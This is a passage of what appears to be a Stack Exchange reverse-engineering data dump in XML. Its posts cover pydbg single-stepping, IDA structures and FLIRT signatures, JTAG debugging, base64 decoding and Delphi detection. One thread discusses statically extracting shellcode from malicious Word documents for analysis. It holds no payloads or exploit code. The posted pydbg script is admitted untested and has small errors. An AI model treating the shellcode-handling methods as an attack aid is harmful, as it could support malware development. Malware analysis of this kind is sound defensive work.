VM.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:10.773" LastActivityDate="2013-11-03T01:00:16.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3006" PostTypeId="5" CreationDate="2013-11-03T01:20:19.743" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-11-03T01:20:19.743" LastActivityDate="2013-11-03T01:20:19.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3007" PostTypeId="4" CreationDate="2013-11-03T01:20:19.743" Score="0" Body="A Magic Number is a constant set of bits used to identify a file format or protocol." OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-11-03T02:19:30.597" LastActivityDate="2013-11-03T02:19:30.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3011" PostTypeId="2" ParentId="2999" CreationDate="2013-11-04T14:50:24.737" Score="2" Body="&lt;p&gt;Not worth any bounty, but it might help, as &lt;code&gt;Tomovision.exe&lt;/code&gt; doesn't look obfuscated in any way after a quick look, and contains the algorithm you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;open it in your favorite disassembler&lt;/li&gt;&#xA;&lt;li&gt;check for reference to &lt;code&gt;RICE&lt;/code&gt; strings (such as &lt;code&gt;C:\TomoVision\Prog\Prog_Lib\TomoVision_Convert\NEMA_Compression_RICE_decode.cpp&lt;/code&gt; at address &lt;code&gt;4F59C4&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;study the ASM code - a.k.a. do your homework ;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-11-04T14:50:24.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3015" PostTypeId="2" ParentId="2925" CreationDate="2013-11-04T21:37:16.487" Score="4" Body="&lt;p&gt;One of your problems is that you try to single step through &lt;strong&gt;Thread2&lt;/strong&gt; and you only refer to &lt;strong&gt;Thread1&lt;/strong&gt; in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dbg.enumerate_threads()[0] # &amp;lt;--- Return handle to the first thread.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, the code the you posted is not reflective of the complete structure of your script, which makes it hard to judge wether you have other errors or not. You also try to set breakpoint within the sub-brach that disassembles your instructions, which does not make a lot of sense to me logically. Let me try to explain what I know, and lay it out in an organized manner. That way you might look back at your code, re-think it and correct it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with basic framework of debugging an application with pydbg:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create debugger instance&lt;/li&gt;&#xA;&lt;li&gt;Attache to the process&lt;/li&gt;&#xA;&lt;li&gt;Set breakpoints&lt;/li&gt;&#xA;&lt;li&gt;Run it&lt;/li&gt;&#xA;&lt;li&gt;Breakpoint gets hit - handle it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is how it could look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pydbg import *&#xA;from pydbg.defines import *&#xA;&#xA;# This is maximum number of instructions we will log&#xA;MAX_INSTRUCTIONS = 20&#xA;&#xA;# Address of the breakpoint&#xA;func_address = &quot;0x7C90D21A&quot;&#xA;&#xA;# Create debugger instance&#xA;dbg = pydbg()&#xA;&#xA;# PID to attach to&#xA;pid = int(raw_input(&quot;Enter PID: &quot;))&#xA;&#xA;# Attach to the process with debugger instance created earlier.&#xA;# Attaching the debugger will pause the process.&#xA;dbg.attach(pid)&#xA;&#xA;# Let's set the breakpoint and handler as thread_step_setter,&#xA;# which we will define a little later...&#xA;dbg.bp_set(func_address, handler=thread_step_setter)&#xA;&#xA;# Let's set our &quot;personalized&quot; handler for Single Step Exception&#xA;# It will get triggered if execution of a thread goes into single step mode.&#xA;dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)&#xA;&#xA;# Setup is done. Let's run it...&#xA;dbg.run() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now having the basic structure, let's define our personalized handlers for breakpoint and single stepping. The code snippet below defines our &quot;custom&quot; handlers. What will happen is when breakpoint hits we will iterate through threads and set them to single step mode. It will in turn trigger single step exception, which we will handle and disassemble MAX_INSTRUCTIONS amount of instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def thread_step_setter(dbg):&#xA;    dbg.suspend_all_threads()&#xA;    for thread_id in dbg.enumerate_threads():&#xA;        print &quot;Single step for thread: 0x%08x&quot; % thread_id&#xA;        h_thread = dbg.open_thread(thread_id)&#xA;        dbg.single_step(True, h_thread)&#xA;        dbg.close_handle(h_thread)&#xA;&#xA;    # Resume execution, which will pass control to step handler&#xA;    dbg.resume_all_threads()&#xA;&#xA;    return DBG_CONTINUE&#xA;&#xA;def single_step_handler(dbg):&#xA;    global total_instructions&#xA;    if instructions == MAX_INSTRUCTION:&#xA;        dbg.single_step(False)&#xA;        return DBG_CONTINUE&#xA;    else:&#xA;        # Disassemble the instruction&#xA;        current_instruction = dbg.disasm(dbg.context,Eip)&#xA;        print &quot;#%d\t0x%08x : %s&quot; % (total_instructions, dbg.context.Eip, current_instruction)&#xA;        total_instructions += 1&#xA;        dbg.single_step(True)&#xA;&#xA;    return DBG_CONTINUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Discloser: I do not guarantee that the code above will work if copied and pasted. I typed it out and haven't tested it. However, if basic understanding is acquired, the small syntactical error could be easily fixed. I apologize in advanced if I have any. I don't currently have means or time to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope it helps you out.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-11-05T05:05:59.867" LastActivityDate="2013-11-05T05:05:59.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3016" PostTypeId="2" ParentId="2991" CreationDate="2013-11-05T20:11:30.663" Score="5" Body="&lt;p&gt;What you referring to as ptr-4 and ptr-8 are in fact location of singled out variables on stack. IDA has to know the structure in order to recognize it automatically. If you setup custom structure in &quot;Structures&quot; subview. Subsequently, You can manually set whatever variable you choose to be the type of that particular variable. Thereafter, IDA will replace references within disassembly view with appropriate offsets to the structure members.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If IDA &quot;lands&quot; in what seems to be the middle of the structure. You could follow the work around below to make it display it differently:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;invert the operand sign by pressing _ (underscore)&lt;/li&gt;&#xA;  &lt;li&gt;select the instruction&lt;/li&gt;&#xA;  &lt;li&gt;press T. provide calculated delta, select the desired structure and its field&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For details consult &lt;a href=&quot;http://www.hexblog.com/?p=63&quot; rel=&quot;nofollow&quot;&gt;Negative structure offsets&lt;/a&gt; of &lt;a href=&quot;http://www.hexblog.com&quot; rel=&quot;nofollow&quot;&gt;Hex Blog&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-11-06T04:53:10.507" LastActivityDate="2013-11-06T04:53:10.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3017" PostTypeId="2" ParentId="2873" CreationDate="2013-11-06T05:28:36.263" Score="5" Body="&lt;p&gt;Signature you are referring to are &lt;strong&gt;Fast Library Identification and Recognition Technology&lt;/strong&gt;, which is know as &lt;strong&gt;FLIRT&lt;/strong&gt;. IDA ships wit most common Windows compilers, plus several non-Windows signatures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When binary is opened, IDA will try to apply &lt;em&gt;start up&lt;/em&gt; signature files. Evidently, the entry point of the code is indicative enough to be able to identify complier used for given binary. If IDA successfully determines compiler used for stated binary, then it will load the signature files for corresponding compiler libraries and apply it to the remainder of the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signatures that IDA come with are for the most part associated with proprietary compilers such as Microsoft's Visual C++ and Borland Delphi. However, for the precise pattern matching you will need to generate signature files for each different version of the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overcome this hurdle, Hex-Rays makes tools available that allow you to generate your own signatures from static libraries. &lt;strong&gt;Fast Library Acquisition for Identification and Recognition&lt;/strong&gt; &lt;em&gt;(FLAIR)&lt;/em&gt; tool set is distributed to authorized (licensed) customers. Version of FLAIR needs to correspond to the version of IDA. The signature creation process is straight forward:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the copy of the static library.&lt;/li&gt;&#xA;&lt;li&gt;Utilize FLAIR parser to create a pattern file.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;em&gt;sigmake.exe&lt;/em&gt; to convert the pattern file into signature file&lt;/li&gt;&#xA;&lt;li&gt;Install new signature file by copying to &lt;em&gt;IDADIR/sig&lt;/em&gt; directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to apply signature files manually, you should go to File-&gt;Load File-&gt;FLIRT Signature File, which will pop up dialog box with all of the signature files installed into &lt;em&gt;IDADIR/sig&lt;/em&gt; directory. Select a signature you would like to use and click OK.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-11-06T05:28:36.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3018" PostTypeId="1" CreationDate="2013-11-06T10:52:23.377" Score="10" ViewCount="1708" Body="&lt;p&gt;Does anyone have other solutions for connecting to a remote ARM target without IDA? This is the question and below I give examples of setup's i have tried, should anyone be interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; updated Codeworks test for remote gdb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; GDB setup fixed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking at a ARM hardware target and have a stable JTAG connection using J-Link. Attempts to get IDA working nicely with the target fail via the JLinkGDBServer. JLinkExe works just fine. As a baseline with JlinkExe I can halt, go and single step. In IDA on connect it attempts to halt and does not notice that the PC (Program Counter) is NOT at 0x0. At this point it gets out of sync and causes the device to halt or jump to a error loop of the device, and IDA does not get the PC to follow it properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've been looking at other solutions: GDB directly, Eclipse, Codeblocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GDB-&gt;JlinkGDBServer&lt;/strong&gt; - stable: works pretty well thus far &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Eclipse-&gt;JlinkGDBServer&lt;/strong&gt; - issue with init: after adding the Hardware GDB Debugger from &lt;a href=&quot;http://download.eclipse.org/tools/cdt/releases/helios&quot;&gt;http://download.eclipse.org/tools/cdt/releases/helios&lt;/a&gt; I can set the debugger for an empty project to point to the GDBServer but any time I attempt to attach or debug it complains that it cannot start target. I'm not sure how to get it working without source code of target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Codeblocks-&gt;GDB-&gt;JlinkGDBServer&lt;/strong&gt; - works: codeworks Does support remote GDB when you setup an empty project. The Remote settings are in the Project settings. (remote gdb is not started for global debugging settings). Stability similar to GDB though the disassembly window in codeblocks is not working. Could just be me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I'm back to IDA and likely writing my own JLink Debugger plugin for it based on &lt;a href=&quot;http://idaproarmdebug.sourceforge.net&quot;&gt;http://idaproarmdebug.sourceforge.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3124" LastEditorUserId="3124" LastEditDate="2013-11-07T13:19:41.467" LastActivityDate="2019-05-27T16:05:13.113" Title="GDB via JTAG on ARM Hardware target without source code" Tags="|ida|gdb|debugging|arm|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3019" PostTypeId="1" CreationDate="2013-11-07T05:40:49.187" Score="2" ViewCount="2417" Body="&lt;p&gt;I am playing with some malicious MS Word documents which exploit a vulnerability in Word 2k3/2k7 to launch the shellcode. I am able to run it dynamically and get the drop-bys. However, I am interested in extracting the shellcode statically. I have tried to use Malscanner and  some custom scripts for OLE to identify the start of the shellcode, so far no luck. Eventually I wanna do an ancient EB FE patching for easy debugging in Word. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience playing with malicious docs? Or have a better way of debugging Word?&lt;/p&gt;&#xA;" OwnerUserId="3126" LastEditorUserId="225" LastEditDate="2013-11-07T06:16:46.707" LastActivityDate="2013-11-07T22:27:12.930" Title="Malicious word document shellcode extraction" Tags="|malware|debugging|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3020" PostTypeId="2" ParentId="3019" CreationDate="2013-11-07T06:06:10.740" Score="1" Body="&lt;p&gt;This might not be the best way to do this. But as Malicious files don't use the format the way it was indented (as-in they exploit a field) I never use interpret programs for this kind of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest, looking up the format and loading it in &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt; (or any other hexeditor). This one supports templates that you can use to determine what they overflowed/exploited.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-11-07T06:06:10.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3021" PostTypeId="1" AcceptedAnswerId="3022" CreationDate="2013-11-07T08:13:06.420" Score="0" ViewCount="1559" Body="&lt;p&gt;I am starring at the following which looks like base64 but not quite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -s 'http://cgp.compmed.ucdavis.edu/chapr/education/PATHOBIOLOGY%20OF%20THE%20MOUSE%20TIER%201A/MICROANATOMY/Images/EX02-0006-4.svs?XINFO' | xpath -q -e '//cdata'&#xA;&amp;lt;cdata&amp;gt;/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&amp;lt;/cdata&amp;gt;&#xA;&amp;lt;cdata&amp;gt;/9j/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&amp;lt;/cdata&amp;gt;&#xA;&amp;lt;cdata&amp;gt;/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&amp;lt;/cdata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this does not appear to be proper base64 encoded stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl enc -base64 -d &amp;lt;&amp;lt;&amp;lt; /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;openssl returns nothing as if it was invalid base64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the encoding used in this case ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was confused by the output. The encoded is actually a valid JPEG header, it does not contains no image, but it contains a valid JPEG Quantization Table (DQT) &amp;amp; Huffman Table(s) (DHT).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2013-11-07T10:43:22.157" LastActivityDate="2013-11-07T10:43:22.157" Title="Invalid base64 encoding" Tags="|decryption|encodings|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-07T09:13:41.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="3022" PostTypeId="2" ParentId="3021" CreationDate="2013-11-07T08:56:37.157" Score="4" Body="&lt;p&gt;When I looked into the URL, I can see that the base64 encoded data is having newline character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you remove newline characters and present that as one single line to openssl,  you need the &lt;strong&gt;&lt;em&gt;-A&lt;/em&gt;&lt;/strong&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below will work fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$openssl enc -A -d -base64 &amp;lt;&amp;lt;&amp;lt; /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can also use still a simple method as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo &quot;/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==&quot; | base64 --decode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can also do this with notepad++ using &lt;a href=&quot;http://download.tuxfamily.org/nppplugins/MimeTools/mimeTools.v1.7.zip&quot; rel=&quot;nofollow&quot;&gt;MIME tools plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proves this is base64 encoded data.&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="3125" LastEditDate="2013-11-07T09:09:40.437" LastActivityDate="2013-11-07T09:09:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3023" PostTypeId="2" ParentId="3019" CreationDate="2013-11-07T15:15:56.097" Score="1" Body="&lt;p&gt;Given that you can get the exploit code to run dynamically, I'd recommend using an API logger (like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;http://www.rohitab.com/apimonitor&lt;/a&gt;) on the Word process to see what API calls are made by the shellcode. You can then restart Word with a debugger attached, set breakpoints on those API calls that you saw made by the shellcode, and wait until those breakpoints are hit via the shellcode. You'll now have the process suspended in the middle of the shellcode execution and can &quot;look backwards&quot; to find the beginning of the shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this approach is useful even when the malicious document uses ROP instead of actual shellcode, in which case your debugger would break in the middle of the ROP chain instead of in the middle of the shellcode itself. Either way it would help you find the malicious content in the target file.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-11-07T22:27:12.930" LastActivityDate="2013-11-07T22:27:12.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3024" PostTypeId="2" ParentId="2873" CreationDate="2013-11-07T15:44:28.160" Score="17" Body="&lt;p&gt;It is important to understand that PEiD could potentially be identifying the wrong version of Delphi. While Delphi 6/7 are very similar (and frankly, all the way up to Delphi 2007 are very similar), you may be looking at a binary created with Delphi 2009 or newer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is relevant because &lt;a href=&quot;http://edn.embarcadero.com/article/38980&quot; rel=&quot;nofollow noreferrer&quot;&gt;Delphi 2009 introduced native unicode string support&lt;/a&gt; and mapped the generic type &lt;code&gt;string&lt;/code&gt; to &lt;code&gt;UnicodeString&lt;/code&gt;, by default, which can affect string analysis. Delphi 2007 and earlier did not have native support for unicode strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To complicate things slightly more, Delphi XE2 added 64-bit compilation support. So when dealing with a newer Delphi compiled binary, this may be relevant. (Delphi releases have been called Delphi 1-7, 2005, 2006, 2007, 2009, 2010, XE, XE2, XE3, XE4, and the latest is XE5). BDS stands for &quot;Borland Developer Studio&quot;, although Delphi was later known as CodeGear Delphi and is now officially known as Embarcadero Delphi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;https://stackoverflow.com/a/8460108/12458&quot;&gt;also this great answer on StackOverflow&lt;/a&gt; that covers the differences between different Delphi versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in fact, on the &lt;a href=&quot;http://www.itwriting.com/blog/5966-embarcadero-adopts-open-source-clang-for-future-c-versions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Delphi and C++ Builder roadmap is a plan to move the Delphi compiler to Clang/LLVM&lt;/a&gt; (their iOS and Android compilers are currently using LLVM, but not the Windows compilers...yet). So store that bit of trivia away for future decompilation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;a href=&quot;http://tuts4you.com/download.php?view.3518&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Detect it Easy&quot; v0.78&lt;/a&gt;, &lt;a href=&quot;http://www.rdgsoft.8k.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RDG Packer Detector v0.7.1&lt;/a&gt;, PEid, and &lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exeinfo PE&lt;/a&gt; 0.0.3.4 Beta, and I found that &lt;strong&gt;&lt;em&gt;only&lt;/em&gt; Exeinfo PE could detect my Delphi 2010 compiled executable correctly&lt;/strong&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RFzll.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On to the analysis&lt;/strong&gt;. Once you've determined the correct Delphi compiler, things are often easier. Delphi GUI programs use a GUI framework called the 'VCL' (Visual Component Library). Its easy to look for the appropriate FLIRT signature by simply filtering on VCL:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aq8yT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I like to also filter the FLIRT signatures on BDS as well. When looking at Delphi binaries I usually will add in the &quot;Extra atl/ie library&quot; and the &quot;win32 runtime&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBxDj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, because Delphi creates native Windows binaries, I always make sure the mssdk32 FLIRT signature is added as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NcbAd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ntinfo.biz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy v0.79 and newer&lt;/a&gt; can correctly detect Delphi versions up through XE6&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-19T16:30:12.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3025" PostTypeId="2" ParentId="3019" CreationDate="2013-11-07T16:24:49.363" Score="2" Body="&lt;p&gt;Carving out the shellcode statically can be a little tricky in the Windows Compound Binary File Format. The first question to store is how is the shellcode stored? Is it binary or hex ascii? The second question to ask is where is it stored? Microsoft documents support many many different formats. The shellcode could be stored in an OLE structure or could be possible found using a hex editor. I'd recommend the hex editor route first. You might get lucky and find a large amount of NOPs. You can use &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/2012/10/dism-thispy.html&quot; rel=&quot;nofollow&quot;&gt;dism-this.py&lt;/a&gt; to quickly view if some bytes are valid shellcode or not. Note, download the source from the repo. Disclaimer I wrote the script.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way I have found to find where the shellcode is stored is to backtrace through a debugger. First figure out where the shellcode is executed in memory, then figure out where the shellcode is called from, then figure out how the shellcode is loaded into memory and then figure out where that is stored in the file. It's not always the easiest task but it's kind of fun.  &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-11-07T16:24:49.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3026" PostTypeId="1" AcceptedAnswerId="3027" CreationDate="2013-11-08T21:28:40.887" Score="4" ViewCount="536" Body="&lt;p&gt;I want to make a program that can intercept events (something like OnClickFolder as well as OnClickFile). Is there a way &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa264396%28v=vs.60%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Spy++&lt;/a&gt; or similar programs can do this?&lt;/p&gt;&#xA;" OwnerUserId="3137" LastEditorUserId="1654" LastEditDate="2013-11-14T21:13:31.197" LastActivityDate="2013-11-14T21:13:31.197" Title="How to use Spy++ to find OnClickFolder or OnClickFile events in Windows Explorer?" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3027" PostTypeId="2" ParentId="3026" CreationDate="2013-11-08T21:56:11.160" Score="3" Body="&lt;p&gt;Yes, Spy++ can detect folder- and file-clicks in shell windows. Just make sure you're monitoring the right process (typically Explorer.exe).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-11-08T22:28:19.077" LastActivityDate="2013-11-08T22:28:19.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
